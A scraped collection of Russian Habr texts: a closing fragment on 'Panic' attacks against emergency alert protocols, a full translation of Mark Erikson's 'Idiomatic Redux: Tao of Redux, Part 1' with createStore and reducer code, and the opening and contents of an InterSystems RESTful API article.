Отметим что атаки типа «Паника» действительно способны вызвать хаос у населения. В январе 2018 года Агентство по чрезвычайным ситуациям Гавайских островов [по ошибке разослало экстренное сообщение о приближении баллистической ракеты](https://www.cbsnews.com/news/hawaii-missile-alert-emergency-management-system-false-ballistic-missile-warning-2018-1-13/), испугав местных жителей, которые массово направились в бомбоубежища.
Авторы исследования скептически относятся к возможности закрыть выявленные уязвимости в существующих протоколах. По их словам, если ретроспективно добавлять меры безопасности в действующие протоколы, не нарушая обратной совместимости, то это часто приводит к ненадёжным решениям типа «заплаток». Поэтому перед применением протоколов связи важно сначала их тщательно тестировать.
---
---
[](https://clck.ru/EFgck) | https://habr.com/ru/post/351470/ | null | ru | null |
# Идиоматичный Redux: Дао Redux'а, Часть 1 — Реализация и Замысел
Мысли о том, какие требования выдвигает Redux, как задумано использование Redux и что возможно с Redux.
Введение
--------
Я потратил много времени, обсуждая онлайн паттерны использования Redux, была ли это помощь тем, кто изучает Redux в [Reactiflux каналах](https://www.reactiflux.com/), дискуссии о возможных изменениях в API библиотеки Redux на Github'е, или обсуждение различных аспектов Redux'а в комментариях к тредам на [Reddit'е](https://www.reddit.com/r/reactjs/) или [HN (HackerNews)](https://news.ycombinator.com/). С течением времени, я выработал свое собственное мнение о том, что представляет собой хороший, идиоматичный Redux код, и я хотел бы поделиться некоторыми из этих мыслей. Несмотря на мой статус [мейнтейнера](https://github.com/markerikson) Redux'а, **это всего лишь мнения**, но я предпочитаю думать, что они являются достаточно хорошими подходами.
Redux, в своей сути, невероятно простой паттерн. Он сохраняет значение, выполняет одну функцию для обновления значения когда это необходимо, и уведомляет любых подписчиков о том, что что-то изменилось.
Несмотря на эту простоту, или, возможно, вследствие ее, существует широкий спектр походов, мнений и взглядов о том, как использовать Redux. Многие из этих подходов широко расходятся с концепциями и примерами из документации.
В то же время, [продолжаются жалобы](https://habrahabr.ru/post/330072/) на то, как Redux «заставляет» вас делать вещи определенными способами. Многие из этих жалоб на самом деле включают концепции связанные с тем, как Redux обычно используется, а не фактическими ограничениями наложенными самой библиотекой Redux. (Например, только в одном недавнем HN треде я видел жалобы: «слишком много шаблонного кода», «константы action'ов и action creator'ы не нужны», «я вынужден редактировать слишком много файлов чтобы добавить одну фичу», «почему я должен переключаться между файлами чтобы добраться до своей логики?», «термины и названия слишком сложны для изучения или запутанны», и *слишком* много других.)
По мере того, как я исследовал, читал, обсуждал и изучал разнообразие способов использования Redux'а и идей, разделяемых в сообществе, я пришел к выводу, что **важно различать то, как Redux на самом деле работает, *задуманные* способы его концептуального использования, и почти бесконечное количество способов *возможного* использования Redux.** Я хотел бы затронуть несколько аспектов использования Redux и обсудить, как они вписываются в эти категории. В целом, я надеюсь объяснить, почему существуют конкретные паттерны и практики использования Redux, философию и замысел Redux'а, и то, что я считаю «идиоматичным» и «неидиоматичным» использованием Redux.
Этот пост будет разделен на две части. В **«Часть 1 — Реализация и Замысел»** мы рассмотрим фактическую реализацию Redux, какие конкретные ограничения он накладывает, и почему эти ограничения существуют. Затем, мы рассмотрим первоначальный замысел и проектные цели для Redux, основываясь на обсуждениях и заявлениях авторов (особенно на ранней стадии процесса разработки).
В **«Часть 2 — Практика и Философия»** мы исследуем распространенные практики, широко используемые в приложениях Redux, и опишем почему эти практики существуют в первую очередь. Наконец, мы рассмотрим ряд «альтернативных» подходов к использованию Redux и обсудим, почему многие их них *возможны*, но не обязательно *«идиоматичны»*.
Изложение основ
---------------
### Изучение Трех принципов
Начнем со взгляда на теперь известные [Три Принципа Redux'а](http://redux.js.org/docs/introduction/ThreePrinciples.html)
* **Единый источник истины:** Состояние всего вашего приложения хранится в дереве объектов внутри единственного хранилища.
* **Состояние доступно только для чтения:** Единственный способ изменить состояние — выпустить action — объект, описывающий что произошло.
* **Изменения выполняются чистыми функциями:** Чтобы указать как дерево состояния трансформируется action'ами, вы пишите чистые reducer'ы.
В самом прямом смысле, **каждое из этих заявлений — ложь!** (или, заимствуя классическую реплику из «Возвращение джежая» — **«они верны… с определенной точки зрения.»**)
* «Единый источник истины» — неверно, потому что (по FAQ Redux'а) [вам не нужно помещать*все* в Redux](http://redux.js.org/docs/faq/OrganizingState.html#organizing-state-only-redux-state), состояние хранилища *не обязано* быть объектом, и вам [даже не обязательно иметь единственный store.](http://redux.js.org/docs/faq/StoreSetup.html#store-setup-multiple-stores)
* «Состояние доступно только для чтения» — неверно, так как на самом деле ничто не мешает остальной части приложения модифицировать текущее дерево состояния.
* И «Изменения выполняются чистыми функциями» неверно, потому что функции-reducer'ы могут также мутировать дерево состояния напрямую или запускать другие побочные эффекты.
Но если эти заявления не полностью правдивы, зачем вообще они нужны? **Эти принципы не фиксированные правила или буквальные заявления о реализации Redux'а**. Скорее они формируют **заявление о замысле того, как Redux *следует* использовать.**
Эта тема будет продолжаться в остальной части текущей дискуссии. Из-за того, что Redux такая минимальная библиотека с точки зрения реализации, он так мало требует или навязывает на техническом уровне. Это поднимает ценную побочную дискуссию, на которую стоит взглянуть.
### «Язык» или «Мета-язык»
В своей речи на [ReactConf 2017 «Приручение Мета-языка»](https://www.youtube.com/watch?v=_0T5OSSzxms&list=PLb0IAmt7-GS3fZ46IGFirdqKTIxlws7e0&index=34) Ченг Лу описывает, что только исходный код является «языком», а все остальное, наподобие комментариев, тестов, документации, туториалов, блог постов, и конференций, является «мета-языком». Другими словами, исходный код сам по себе может передать только определенную часть информации. Много дополнительных слоев передачи информации на уровне человека требуется, чтобы люди понимали «язык».
Далее Ченг Лу продолжает обсуждать, как смещение дополнительных концепций в сам язык, позволяет выразить больше информации через медиум исходного кода, не прибегая к использованию «мета-языка» для передачи идей. С этой точки зрения, **Redux — крошечный «язык» и почти вся информация о том, *как* его следует использовать является на самом деле «мета-языком»**.
«Язык» (в этом случае основная библиотека Redux) имеет минимальную экспрессивность, и следовательно концепции, нормы и идеи, окружающие Redux, все находятся на уровне «мета-языка». (Фактически, пост [Понимание «Приручения Мета-языка»](http://frantic.im/meta-language), который раскладывает по полочкам идеи из выступления Ченга Лу, называет Redux конкретным примером этих идей.) В конечном счете, это означает, что **понимание того, почему определенные практики существуют вокруг Redux'а, и решения о том, что является и не является «идиоматичным» будут включать мнения и обсуждения, а не просто определение, основанное на исходном коде**.
Как Redux работает на самом деле
--------------------------------
Прежде чем мы сильно углубимся в философскую сторону вещей, важно понимать какие технические ожидания у Redux'а действительно есть. Взгляд на внутренности и реализацию будет информативен.
### Ядро Redux: createStore
Функция createStore центральная часть функциональности Redux'а. Если мы отсечем комментарии, проверку ошибок, и код для пары продвинутых возможностей, таких как store enhancers (усилители хранилища — функции, расширяющие возможности store — примечание переводчика) и observables, вот как выглядит createStore (пример кода позаимствован из «построй-мини-Redux» туториала под названием [«Взламывая Redux»](http://paulserraino.com/javascript/2016/02/16/hacking-redux.html)):
```
function createStore(reducer) {
var state;
var listeners = []
function getState() {
return state
}
function subscribe(listener) {
listeners.push(listener)
return unsubscribe() {
var index = listeners.indexOf(listener)
listeners.splice(index, 1)
}
}
function dispatch(action) {
state = reducer(state, action)
listeners.forEach(listener => listener())
}
dispatch({})
return { dispatch, subscribe, getState }
}
```
Это примерно 25 строк кода, но все же они включают ключевую функциональность. Код отслеживает текущее значение состояния и множество подписчиков, обновляет значение и уведомляет подписчиков когда action диспатчится, и предоставляет API для store.
Взгляните на все те вещи которые этот фрагмент *не включает*:
* Иммутабельность
* «Чистые функции»
* Middleware (промежуточный программный слой между «отправкой» action и reducer'ами — примечание переводчика)
* Нормализация
* Селекторы
* Thunks
* Sagas (саги)
* Должны ли типы action'ов быть строками или [Символами](https://learn.javascript.ru/symbol), и должны ли обозначаться константами или быть инлайновыми
* Должны ли вы использовать action creator'ы (функции, создающие action'ы — примечание переводчика) для констуирования этих action'ов
* Должен ли store содержать несериализуемые элементы, такие как промисы или инстансы классов
* Должны ли данные хранится нормализованными или иерархичными
* Где должна жить асинхронная логика
В этом ключе стоит процитировать pull-request Дэна Абрамова для примера «классический счетчик»:
> Новый пример «классический счетчик» направлен на то, чтобы развеять миф о том, что Redux требует Webpack, React, горячую перезагрузку, саги, action creator'ы, константы, Babel, npm, CSS модули, декораторы, отличное знание латыни, подписки на [Egghead](https://egghead.io/courses/getting-started-with-redux), научную степень, или степень [С.О.В.](http://ru.harrypotter.wikia.com/wiki/%D0%A1%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82%D1%8B_%D0%9E%D0%B1%D1%83%D1%87%D0%B5%D0%BD%D0%B8%D1%8F_%D0%92%D0%BE%D0%BB%D1%88%D0%B5%D0%B1%D1%81%D1%82%D0%B2%D1%83) Нет, это всего лишь HTML, некоторые кустарные скрипт-тэги и старые добрые манипуляции с DOM. Наслаждайтесь!
**Функция dispatch внутри createStore просто вызывает функцию-reducer и сохраняет любое возвращаемое значение**. И все же, несмотря на это, элементы в том списке идей широко расцениваются, как концепции, о которых должно заботиться хорошее приложение на Redux.
Изложив все те вещи до которых createStore *нет* дела, важно отметить, что на самом деле эта функция требует. Настоящая функция createStore навязывает два конкретных ограничения: **action'ы, которые доходят до store, обязаны быть простыми объектами**, и **action'ы обязаны иметь поле «type» не равное undefined**.
Оба этих ограничения происходят от оригинальной концепции «Flux архитектуры». Цитируя секцию [Flux Action'ы и Диспатчер](https://facebook.github.io/react/blog/2014/07/30/flux-actions-and-the-dispatcher.html#actions-and-actioncreators) из документации Flux:
> Когда новые данные попадают в систему, как через человека, взаимодействующего с приложением, так и через web api вызов, эти данные упаковываются в action — объект, содержащий новые поля данных и конкретный action тип. Мы зачастую создаем библиотеку вспомогательных методов называемых ActionCreators которые не только создают объект action, но и передают action диспатчеру. Различные действия идентифицируются аттрибутом «type». Когда все store получают action, они обычно используют этот аттрибут для определения, следует ли им реагировать на него и каким образом. В приложении Flux, stor'ы и view контролируют сами себя; на них не воздействуют внешние объекты. Action'ы поступают в stor'ы через функции обратного вызова которые они определяют и регистрируют, а не методами установки (сеттерами).
Изначально Redux не требовал специальное поле «type», но позже была добавлена проверка валидности, чтобы помочь отловить возможные опечатки или неправильный импорт констант action'ов, и для избежания бесполезных споров о базовой структуре объектов.
### Встроенная утилита: **combineReducers**
Здесь мы начинаем наблюдать некоторые ограничения, знакомые большему количеству людей. **combineReducers** ожидает, что каждый reducer среза, переданный в него, будет «корректно» реагировать на неизвестный action, возвращая свое состояние по-умолчанию и никогда не вернет undefined. Она также ожидает, что значением текущего состояния является простой JS объект, и что имеется точное соответствие между ключами в объекте текущего состояния и в объекте функции-reducer'а. И наконец, **combineReducers** выполняет проверку на равенство по ссылке, для определения все ли срез-reducer'ы вернули свое предыдущее значение. Если все вернувшиеся значения выглядят как предыдущие значения, **combineReducers** полагает, что ничего нигде не изменилось и, в качестве оптимизации, возвращает исходный корневой объект состояния.
### Изначальное преимущество: инструменты разработчика Redux (DevTools)
Инструменты разработчика Redux состоят из двух основных частей: enhancer'а (усилителя) для store который реализует перемещение во времени путем отслеживания диспатченных action'ов, и пользовательского интерфейса, позволяющего просматривать и управлять историей. Сам по себе store enhancer не заботится о содержимом action'ов или состояния, он просто хранит action'ы в памяти. Изначально интерфейс инструментов разработчика нужно было рендерить внутри дерева компонентов вашего приложения, и он также не заботился о содержимом action'ов или состояния. Тем не менее, расширение [Redux DevTools](https://chrome.google.com/webstore/detail/redux-devtools/lmhkpmbekcpmknklioeibfkpmmfibljd?hl=ru) работает в отдельном процессе (по крайней мере в Chrome), и, следовательно, требует сериализуемости всех action'ов и состояния, для того, чтобы все возможности перемещения во времени работали корректно и быстро. Возможность импорта и экспорта состояния и action'ов также требует чтобы они были сериализуемыми.
Другое полу-требование для отладки с помощью перемещения во времени — иммутабельность и чистые функции. Если функция-reducer мутирует состояние, тогда переход между acton'ами в отладчике приведет к неконсистентным значениям. Если у reducer'а есть побочные эффекты, тогда эти побочные эффекты будут проявляться каждый раз когда DevTools повторяет action. В обоих случаях, отладка путем перемещения во времени не будет работать полностью как ожидается.
### Основные связки с UI: React-Redux и connect
Настоящей проблемой мутация становится в функции **connect** из React-Redux. Оберточные компоненты, сгенерированные **connect**, реализуют множество оптимизаций для обеспечения того, чтобы обернутые компоненты ререндерились только тогда, когда на самом деле необходимо. Эти оптимизации вращаются вокруг проверок на ссылочное равенство, для определения того, изменились ли данные.
В частности, каждый раз, когда action диспатчится и подписчики уведомляются, **connect** проверяет, изменился ли корневой объект состояния. Если нет, **connect** предполагает что ничего в состоянии не изменилось, и пропускает дальнейшую работу по рендерингу (Вот почему **combineReducers** пытается, по мере возможности, вернуть тот же самый корневой объект состояния). Если же корневой объект состояния *изменился*, **connect** вызовет предоставленную функцию mapStateToProps, и выполнит неглубокую проверку на равенство между текущим результатом и предыдущим, для выявления изменились ли props, рассчитанные от данных store. Опять же, если содержимое данных выглядит одинаково, **connect** не будет ререндерить обернутый компонент. Эти проверки на равенство в **connect**'е являются причиной того, почему случайные мутации состояния не приводят к ререндерингу компонентов, это из-за того, что **connect** предполагает, что данные не изменились и ререндеринг не нужен.
### Сопутствующие библиотеки: React и Reselect
Иммутабельность также имеет значение и в других библиотеках, зачастую использующихся совместо с Redux. Библиотека Reselect создает запоминающие функции-селекторы, обычно используемые для извлечения данных из дерева состояния Redux. Запоминание значений, как правило, полагается на проверку ссылочного равенства, для определения того, совпадают ли входные параметры с ранее использованными.
Также, хотя React'овский компонент может реализовать **shouldComponentUpdate**, используя любую логику какую захочет, самая распространенная реализация полагается на неглубокие проверки равенства текущих props и новых входящих props, например:
```
return !shallowEqual(this.props, nextProps)
```
В любом случае, мутация данных обычно приводит к нежелательному поведению. Запоминающие функции-селекторы не вернут правильные значения, и оптимизированные компоненты React'а не будут ререндерится когда должны.
### Подводя итог техническим требованиям Redux
Центральная функция Redux'а createStore сама по себе накладывает только два ограничения на то, как вы должны писать свой код: action'ы должны быть простыми объектами, и должны содержать определенный type. Ее не заботит иммутабельность, сериализуемость, побочные эффекты или какое на самом деле принимает значение поле type.
С учетом вышесказанного, **широко используемые части вокруг этого ядра, включая Redux DevTools, React-Redux, React и Reselect, *действительно полагаются* на правильное использование иммутабельности, сериализуемости action'ов/состояния и чистых функций-reducer'ов**. Основная логика приложения может работать нормально если эти ожидания проигнорированы, но, с большой долей вероятности, отладка перемещением во времени и ререндеринг компонентов сломаются. Они также повлияют и на любые другие случаи использования, связанные с постоянством.
Важно отметить, что иммутабельность, сериализуемость и чистые функции никаким образом не навязываются Redux'ом. Функция-reducer вполне может мутировать свое состояние или выполнять AJAX-вызов. Любая другая часть приложения вполне может вызывать getState() и модифицировать содержимое дерева состояния напрямую. Полностью возможно помещать промисы, функции, Символы, инстансы класса или другие не сериализуемые значения в action'ы или дерево состояний. Вам не *следует* делать ничего из этого, но это *возможно*.
Замысел и дизайн Redux
----------------------
Помня про эти технические ограничения, мы можем обратить внимание на то, как задумано использование Redux'а. Чтобы лучше понять эту мысль, полезно оглянуться на идеи, которые привели к начальной разработке Redux'а.
### Влияние на Redux и его цели
Раздел «Введение» в документации Redux содержит несколько основных идей, повлиявших на разработку и концепции Redux, в темах [Мотивация, Ключевые концепции и Предшественники](http://redux.js.org/docs/introduction/Motivation.html). В качестве краткого итога:
* Основной целью Redux'а является **предсказуемость мутаций состояния**, путем наложения ограничений на то, как и когда изменения могут происходить. Redux заимствует идею «Архитектуры Flux» о разделении логики изменения от остальной части приложения, и использовании простых объектов «action'ов» для описания изменений, которые должны произойти.
* Возможности для разработчиков, такие как отладка перемещением во времени, являются одними из ключевых вариантов использования Redux. Следовательно, **такие ограничения как иммутабельность и сериализуемость существуют в основном для того, чтобы подобные возможности были доступны при разработке**, а также для упрощения отслеживания потока данных и логики изменения.
* Redux хочет чтобы реальная логика обновления состояния была синхронной, а асинхронное поведение было отделено от обновления состояния.
* Архитектура Flux предлагает несколько индивидуальных «stores» (хранилищ) для различных типов данных. Redux объединяет несколько таких «stor'ов» в единое дерево состояния для облегчения работы с отладкой, сохранением состояния и возможностями наподобие отменить/повторить.
* Единственная корневая функция-reducer может сама состоять из множества меньших функций-reducer'ов. Это позволяет в явном виде контролировать как обрабатываются данные, в том числе порядок зависимостей, когда обновление одного среза состояния требует предварительного вычисления другого среза, в отличие от механизмов наподобие Flux'овского эмиттера событий store.waitFor(), выстраивающего цепочки зависимостей.
Также стоит взглянуть на заявленные проектные цели в ранней версии README Redux'a.
> #### Философия и проектные цели
>
>
>
> * Вам не нужна книга по функциональному программированию для того, чтобы использовать Redux.
> * Всё (Stores, Action Creator'ы, конфигурация) способно на [«горячую» перезагрузку](https://webpack.js.org/concepts/hot-module-replacement/).
> * Сохраняет преимущества Flux'а, но добавляет другие полезные свойства благодаря своей функциональной природе.
> * Предотвращает некоторые анти-паттерны распространенные в коде Flux.
> * Отлично работает в изоморфных приложениях, потому что не использует синглтоны, и данные могут быть [«увлажнены»](https://toster.ru/q/241481).
> * Не имеет значения как вы храните ваши данные: вы можете использовать JS объекты, массивы, [ImmutableJS](https://facebook.github.io/immutable-js/) и т.д.
> * Под капотом, Redux держит все ваши данные в виде дерева, но вам не нужно об этом думать.
> * Позволяет эффективно подписываться на меньшие обновления, чем обновления индивидуальных Stor'ов.
> * Предоставляет зацепки для реализации мощных инструментов разработчика (например, переходы по времени, запись/проигрывание) без обязательной их установки
> * Предоставляет точки расширения, чтобы можно было легко [поддержать промисы](https://github.com/gaearon/redux/issues/99#issuecomment-112212639) или [генерировать константы](https://gist.github.com/skevy/8a4ffc3cfdaf5fd68739) вне ядра Redux.
> * Никаких оберточных вызовов в ваших stor'ах и action'ах. Ваши вещи — это ваши вещи.
> * Невероятно просто тестировать в изоляции без моков (mocks).
> * Можно использовать «плоские» Stor'ы, или композировать и переиспользовать Stor'ы также как композируются компоненты.
> * Поверхность API минимальна.
> * Я уже упоминал «горячую» перезагрузку?
>
>
>
>
### Проектные принципы и подход
Прочитывая документацию Redux, ранние issue-треды, и многие другие комментарии Дэна Абрамова и Эндрю Кларка, можно заметить несколько конкретных тем касательно задуманного использования Redux.
#### **Redux был создан как реализация архитектуры Flux**
Redux изначально задумывался «всего лишь» как еще одна библиотека реализующая архитектуру Flux. В результате она уследовала многие коцепции от Flux: идею «отправки (dispatching) action'ов», то что action'ы — это простые объекты с полем type, использование «функций создания» action'ов (action creators), то, что «логика обновления» должна быть отделена от остальной части приложения и централизована, и многое другое.
Я часто вижу вопросы «Почему Redux делает ТАК», и на многие из подобных вопросов ответ: «Потому что Архитектура Flux'а и конкретные библиотеки Flux делали ТАК».
#### **Поддерживаемость обновления состояния является главным приоритетом**
Почти каждый аспект Redux'а, призван помочь разработчику понять когда, почему и как изменилась конкретная часть состояния. Это включает как фактическую реализацию, так и поощряемое использование.
Это значит, что разработчик должен иметь возможность посмотреть отправленный action, увидеть какие изменения состояния получились в результате, и вернуться к местам в кодовой базе, где этот action был диспатчен (особенно в зависимости от его типа). Если в store неверные данные, должно быть возможно отследить, какой диспатченный action привел к неправильному состоянию, и отмотать оттуда назад.
Упор на «горячую перезагрузку» и «отладку с переходом во времени» также нацелен на производительность и удобство разработчиков, поскольку обе возможности позволяют разработчику выполнять быстрые итерации и лучше понимать что происходит в системе.
#### **История action'ов должна иметь семантическое значение**
Хотя ядро Redux'а не заботит какие конкретные значения содержатся в поле type ваших action'ов, довольно очевидно, что типы action'ов должны нести некоторый смысл и информацию. Redux DevTools и другие утилиты логирования отображают поле type для каждого диспатченного action'а, так что важно иметь значения, понятные с беглого взгляда.
Это значит, что строки полезнее Символов или чисел, с точки зрения передачи информации. Это также означает, что формулировка action типа должна быть ясной и понятной. Как правило, это означает, что наличие различных action типов будет понятнее разработчику, чем наличие только одного или двух action типов. Если во всей кодовой базе используется только один action тип (например, SET\_DATA), то будет сложнее отслеживать откуда конкретный action был диспатчен, а жрунал истории действий будет менее читабельным.
#### **Redux задуман для введения в принцины функционального программирования**
Redux явно замыслен для использования с концепциями функционального программирования, и для того, чтобы помочь представить эти концепции как новым, так и опытным разработчикам. Эти концепции включают основы ФП, такие как: иммутабельность и чистые функции, а также идеи, наподобие композиции функций для решения большей задачи.
В то же время, Redux призван помочь обеспечить реальную ценность для разработчиков, пытающихся решать проблемы и создавать приложения, не подавляя при этом большим количеством абстрактных концепций ФП, и не увязая в спорах о терминах ФП, таких как «монады» или «эндофункторы». (Нужно признать, количество терминов и концепций вокруг Redux'а выросло с течением времени, и многие из них путают новичков, но цели: использования преимуществ ФП и введение в ФП для начинающих — явно были частью оригинального дизайна и философии.)
#### **Redux поощряят тестируемый код**
Наличие reducer'ов в качестве чистых функций позволяет выполнять отладку с переходом во времени, и также означает, что функция-reducer может легко быть протестирована в изоляции. Тестирование reducer'а должно требовать только его вызова с конкретными аргументами и проверки вывода — нет необходимости создавать моки для таких вещей как AJAX вызовы.
AJAX вызовы и другие побочные эффекты по-прежнему должны находится где-то в приложении, и тестирующий код, который их использует, может по-прежнему работать. Тем не менее, упор на чистые функции в значительной части кодовой базы снижает общую сложность тестирования.
#### **Функции-reducer'ы следует организовывать по срезу состояния**
Redux берет концепт индивидуальных «хранилищ» из архитектуры Flux и объединяет их в единственный store. Самым прямолинейным соответствием между Flux и Redux является создание отдельного ключа верхнего уровня или «среза» в дереве состояний для каждого Flux хранилища. Если Flux приложение имеет раздельные UsersStore, PostsStore и CommentsStore, эквивалент в Redux будет иметь корневое дерево состояний, выглядящее так: { users, posts, comments }.
Можно ограничиться единственной функцией, содержащей всю логику по обновлению всех срезов состояния, но любое осмысленное приложение захочет разбить такую функцию на более мелкие функции для облегчения сопровождения. Самым очевидным способом это сделать является раздление логики в зависимости от того, какой срез состояния должен быть обновлен. Это значит, что каждый «reducer среза» должен заботиться только о своем срезе состояния, и, насколько ему известно, этот срез может быть *всем* состоянием. Этот паттерн «композиции reducer'ов» можно многократно повторяться для обработки обновлений иерархической структуры состояния. И утилита **combineReducers** включена в состав Redux'а специально для упрощения использования этого паттерна.
Если каждую функцию-reducer среза можно вызывать отдельно и предоставлять ей только собственный срез состояния в качестве параметра, то это означает, что с одним и тем же action'ом можно вызывать несколько reducer'ов среза, и каждый из них может обновлять свой срез состояния независимо от других. Основываясь на заявлениях Дэна и Эндрю, возможность одного action'а привести к обновлениям нескольких reducer'ов среза, является ключевой особенностью Redux'а. Про это часто говорят: «action'ы имеют отношение 1-ко-многим с reducer'ами.»
#### **Логика обновления и поток данных выражены явно**
Redux не содержит никакой «магии». Некоторые аспекты его реализации (такие как applyMiddleware и store enhancers) чуть сложнее понять сразу, если вы не знакомы с более продвинутыми принципами ФП, но в остальном все должно быть явным, ясным и отслеживаемым с минимальным количеством абстракций.
**Redux на самом деле даже не реализует саму логику обновления состояния. Он просто полагается на любую корневую функцию-reducer, которую *вы* предоставите**. Он имеет утилиту **combineReducers**, чтобы помочь в распространненом случае — независимом управлении состояниями reducer'ами среза. Но вас полностью поощряют на написание собственной логики reducer'а для удовлетворения ваших потребностей. **Также это означает, что ваша логика reducer'а может быть простой или сложной, абстрактной или многословной — все зависит от того, как вы хотите ее написать**.
В оригинальном диспатчере Flux'а, Stor'ам нужно было событие waitFor(), которое могло быть использовано для задания цепочек зависимостей. Если CommentsStore нуждался в данных от PostsStore для того, чтобы правильно обновить себя, он мог вызвать PostsStore.waitFor(), чтобы гарантировать, что он выполнится после того как PostsStore обновится. К сожалению, такую цепочку зависимостей было нелегко визуализировать. Тем не менее, с Redux такая последовательность операций может быть достигнута явным вызовом конкретных функций-reducer'ов в нужной последовательности.
Вот в качестве примера некоторые (немного модифицированные) цитаты и сниппеты из Дэновского гиста [«Combining Stateless Stores»](https://gist.github.com/gaearon/d77ca812015c0356654f)
> В этом случае, commentsReducer не зависит полностью от состояния и action'а. Он также зависит и от hasCommentReallyBeenAdded (былЛиКомментарийДействительноДобавлен). Мы добавляем этот параметр к его API. Да, его теперь нельзя использовать «как есть», но в этом весь смысл: reducer теперь имеет явную зависимость от других данных. Он не store верхнего уровня. То, что управляет им, обязано каким-то образом предоставить ему эти данные.
```
export default function commentsReducer(state = initialState, action, hasPostReallyBeenAdded) {}
// в другом месте
export default function rootReducer(state = initialState, action) {
const postState = postsReducer(state.post, action);
const {hasPostReallyBeenAdded} = postState;
const commentState = commentsReducer(state.comments, action, hasPostReallyBeenAdded);
return { post : postState, comments : commentState };
}
```
Это также применимо к идее «reducer'ов высшего порядка». Отдельный reducer среза может быть обернут другими reducer'ами, чтобы получить такие способности как отмена/повтор или пагинация.
#### **API Redux'а должно быть минимальным**
Эта цель повторялась снова и снова Дэном и Эндрю на протяжении разработки Redux'а. Проще всего процитировать некоторые из их комментариев:
[Andrew — #195:](https://github.com/reactjs/redux/pull/195#issuecomment-119224276)
> Зачастую лучший API — это отсутствие API. Текущие предложения для middleware и stor'ов высшего порядка обладают огромным преимуществом в том, что они не требуют особого отношения со стороны ядра Redux — они просто обертки вокруг dispatch() и createStore() соответственно. Вы даже можете использовать их сегодня, до релиза 1.0. Это огромная победа для расширяемости и быстрых инноваций. Мы должны поддерживать паттерны и соглашения вместо жестких, привилегированных API.
[Dan — #216:](https://github.com/reactjs/redux/issues/216#issuecomment-118682938)
> Вот почему я решил написать Redux вместо использования NuclearJS:
>
> * Я не хочу жесткую зависимость от ImmutableJS
> * Я хочу настолько малый API насколько возможно
> * Я хочу сделать так, чтобы можно было легко спрыгнуть с Redux когда появиться что-то получше
>
>
>
> С Redux я могу использовать простые объекты, массивы и что угодно для состояния.
>
>
>
> Я изо всех сил старался избегать API наподобие createStore, потому что они привязывают вас к конкретной реализации. Вместо этого, для каждой сущности (Reducer, Action Creator) я попытался найти минимальный способ взаимодействия с ней без какой-либо зависимости от Redux. Единственный код, импортирующий Redux и действительно жестко зависимый от него, будет в вашем корневом компоненте и компонентах, подписанных на него.
>
>
#### **Redux должен быть расширяем настолько, насколько возможно**
Это связано с целью «минимального API». Некоторые библиотеки Flux, такие как Flummox Эндрю, имели некую форму асинхронного поведения, встроенную непосредственно в библиотеку (например, START/SUCCESS/FAILURE action'ы для промисов). И хотя наличие чего-то встроенного в ядро означало, что оно всегда доступно, это также ограничивало гибкость.
Снова проще всего процитировать комментарии из обсуждений и [Hashnode AMA (вопросы/ответы) с Дэном и Эндрю](https://hashnode.com/ama/with-redux-cisteui6p005gzx53fstg8t6l):
[Andrew — #55:](https://github.com/reactjs/redux/pull/55)
> Для продолжения поддержки асинхронных action'ов и для предоставления точки расширения для внешних плагинов и инструментов, мы можем предоставить некий общий action middleware, вспомогательную функцию для композиции middlewar'ов, и документацию для авторов расширений о том, как легко создавать свои собственные.
[Andrew — #215:](https://github.com/reactjs/redux/issues/215#issuecomment-118639342)
> Я согласен, что это естественная возможность, которую наверняка захотят большинство Redux приложений, но как только мы встроим ее в ядро, все сразу начнут бессмысленные споры о том, как именно она должна работать, что собственно и случилось со мной и Flummox. Мы пытаемся держать ядро настолько малым и гибким насколько возможно, чтобы мы могли выполнять короткие итерации и позволять другим строить поверх него. Как однажды сказал Дэн (не помню где… возможно в Slack) мы нацелены быть Koа для Flux библиотек. В конечном счете, когда сообщество повзрослеет, мы планируем поддерживать коллекцию «благословленных» плагинов и расширений, возможно в рамках reduxjs организации на Github'е.
>
>
[Dan — Hashnode AMA:](https://hashnode.com/ama/with-redux-cisteui6p005gzx53fstg8t6l)
> Мы не хотели прописывать что-то подобное в самом Redux'е, потому что знаем, что многие люди не готовы изучать Rx операторы для выполнения базовых асинхронных операций. Они полезны, когда у вас сложная асинхронная логика, но мы не хотели вынуждать каждого пользователя Redux изучать Rx, так что мы намеренно поддержали гибкость middlewar'ов.
[Andrew — Hashnode AMA:](https://hashnode.com/ama/with-redux-cisteui6p005gzx53fstg8t6l)
> Причина, по которой middleware API вообще существует, в том, что мы совершенно не хотели останавливаться на конкретном решении для асинхронности. Моя предыдущая библиотека Flux — Flummox — имела, по сути, встроенный промис-middleware. Для кого-то это было удобно, но из-за того, что она была встроенной, вы не могли изменить ее поведение или отказаться от нее. С Redux мы знали, что сообщество придумает множество лучших асинхронных решений, чем то, что мы бы могли сделать самостоятельно. Redux Thunk рекламируется в документации потому, что это абсолютно минимальное решение. Мы были уверены, что сообщество придумает нечто другое и/или лучшее. Мы были правы!
Заключительные мысли
--------------------
Я потратил много времени на исследование для этих двух постов. Было невероятно интересно прочитать ранние дискуссии и комментарии, и увидеть как Redux эволюционировал в то, что мы знаем теперь. Как видно из процитированного ранее README, видение Redux'а было ясным с самого начала, и было несколько конкретных идей и концептуальных скачков, которые привели к окончательному API и реализации. Надеюсь, этот взгляд на внутренности и историю Redux поможет пролить свет на то, как Redux работает на самом деле, и почему он был построен таким образом.
Обязательно ознакомьтесь с [Дао Redux'а, Часть 2 — Практика и Философия](http://blog.isquaredsoftware.com/2017/05/idiomatic-redux-tao-of-redux-part-2/), где мы взглянем на то, почему существует множество паттернов использования Redux, и я поделюсь своими мыслями о плюсах и минусах многих «вариаций» того, как можно использовать Redux.
---
[Источник](http://blog.isquaredsoftware.com/2017/05/idiomatic-redux-tao-of-redux-part-1/)
У меня ушло достаточно много времени на перевод этого поста, пишите в комментариях если понравилось и есть желание прочитать перевод второй части, буду рад услышать ваше мнение. | https://habr.com/ru/post/330692/ | null | ru | null |
# Построение RESTful web API на платформе InterSystems — 2
Введение
--------
Четыре года назад я написал свою первую статью на Хабре и она была посвящена [созданию RESTful web API на платформе InterSystems](https://habrahabr.ru/company/intersystems/blog/204576/). С тех пор прошло немало времени и вышло несколько новых релизов, которые значительно упростили работу по созданию RESTful web API. Вот об этих изменениях я и хочу рассказать в этой статье, а также дать несколько советов по созданию RESTful web API на платформе InterSystems.
Содержание
----------
* Архитектура RESTful web API
* Брокеры
* Разделение брокеров
* Параметры брокеров
* Обобщение кода
* CORS
* Аутентификация
* Инструменты отладки и тестирования
* Примеры
* JSON
* Выводы
* Ссылки
